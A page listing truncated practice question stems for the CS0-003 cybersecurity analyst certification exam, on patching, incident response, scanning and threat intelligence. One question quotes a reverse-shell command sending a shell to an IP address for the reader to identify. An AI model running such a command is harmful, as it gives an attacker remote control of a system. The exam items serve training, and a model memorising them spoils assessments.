CS0-003 Exam Questions

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

The analyst reviews the following endpoint log entry: Which of the following has occurred?

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the followi...

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate...

When starting an investigation, which of the following must be done first?

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that...

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of...

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes les...

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the m...

A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become?

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following shoul...

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility lev...

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script fun...

A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective?

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment: Which of the fo...

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but...

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed: Which of the following tuning recommendat...

Which of the following items should be included in a vulnerability scan report? (Choose two.)

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which...

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the foll...

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessibl...

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response...

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would...

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors wou...

An analyst is reviewing a vulnerability report for a server environment with the following entries: Which of the following systems should be prioritized for patching first?

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below: Security Policy 1006: Vulnerability Manageme...

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organi...

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS r...

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the foll...

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following s...

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an...

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this pro...

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a...

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the follo...

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accu...

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of t...

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to t...

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused...

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and...

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan?

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?